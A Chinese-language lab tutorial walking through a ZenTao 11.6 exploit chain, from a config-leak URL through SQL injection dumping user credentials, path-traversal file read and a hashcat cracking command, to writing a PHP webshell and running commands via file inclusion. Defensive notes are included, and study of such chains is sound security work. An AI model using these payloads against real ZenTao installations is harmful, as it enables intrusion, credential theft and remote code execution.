从信息泄露到系统沦陷禅道11.6漏洞链深度实战解析当企业级项目管理平台成为攻击跳板时往往不是单一漏洞的失守而是防御体系在连环攻击下的全面崩溃。禅道11.6版本曾被曝光的漏洞链完美诠释了这一点——从看似无害的版本信息泄露开始到最终实现远程代码执行攻击者如同庖丁解牛般层层递进。本文将用实验室环境还原这场数字多米诺骨牌的倒塌全过程不仅展示攻击步骤更会剖析每个环节的防御盲点。1. 环境搭建与漏洞认知在开始实战前需要准备以下实验环境Windows 10/11 操作系统建议使用虚拟机XAMPP 集成环境含ApacheMySQLPHP禅道11.6安装包官网历史版本可下载Burp Suite Community 或 Postman 工具关键配置注意事项; php.ini 需要调整的配置 allow_url_include Off ; 初始状态应为关闭 display_errors Off ; 避免信息泄露安装完成后访问http://localhost/zentao应出现登录界面。此时系统存在五个关键漏洞点漏洞类型触发位置风险等级版本信息泄露/index.php?modegetconfig中SQL注入api-getModel-api-sql高任意文件读取file-parseCSV高任意文件写入editor-save严重文件包含api-getMethod严重实验前务必确保网络隔离禁止将测试环境暴露在公网2. 攻击链第一环信息收集的艺术所有高级攻击都始于充分的信息收集。通过简单访问以下URL即可获取系统核心配置http://localhost/zentao/index.php?modegetconfig返回的JSON数据包含数据库凭证、安装路径等敏感信息。深入分析其实现原理请求进入index.php后调用router::exportConfig()该方法位于framework/base/router.class.php关键漏洞代码public function exportConfig() { return json_encode($this-config); // 直接输出全部配置 }防御建议删除或重写exportConfig方法添加权限验证中间件配置Web服务器禁止直接访问敏感路由3. 数据库攻防SQL注入的精准打击利用上步获取的数据库信息构造注入Payload获取管理员凭证http://localhost/zentao/api-getModel-api-sql-sqlselectaccount,passwordfromzt_user这个请求触发的执行链值得关注api模块接收getModel请求调用api子模块的sql方法漏洞代码片段public function sql($sql) { if(stripos($sql, select) 0) { return $this-dao-query($sql); // 直接执行未过滤的SQL } }密码破解技巧 禅道使用加盐MD5存储密码可通过以下命令爆破hashcat -m 20 -a 0 hash.txt wordlist.txt4. 文件系统突破从读取到写入的跨越获得管理员权限后利用文件操作漏洞实现持久化控制任意文件读取http://localhost/zentao/api-getModel-file-parseCSV-fileName../../config.php任意文件写入写入WebshellPOST /zentao/api-getModel-editor-save HTTP/1.1 Content-Type: application/x-www-form-urlencoded filePathshell.phpcontent?php system($_GET[cmd]);?关键漏洞在于editor/model.php中的保存逻辑public function save($filePath, $content) { file_put_contents($filePath, $content); // 无路径校验 }5. 致命组合文件包含实现RCE最后一步通过文件包含执行写入的Webshellhttp://localhost/zentao/api-getModel-api-getMethod-filePathshell.php/1?cmdwhoami漏洞根源在于helper.class.php的包含逻辑function import($filePath) { include $filePath; // 动态包含未校验 }完整攻击链梳理信息泄露 → 获取系统指纹SQL注入 → 窃取管理员凭证后台登录 → 获取操作权限文件写入 → 植入恶意代码文件包含 → 执行任意命令在实验室环境中建议每次测试后使用快照还原。真实环境中若发现此类漏洞应立即下线系统并升级到最新安全版本。漏洞修复不仅是补丁安装更需要建立纵深防御体系——包括输入验证、权限最小化、操作审计等多层防护机制。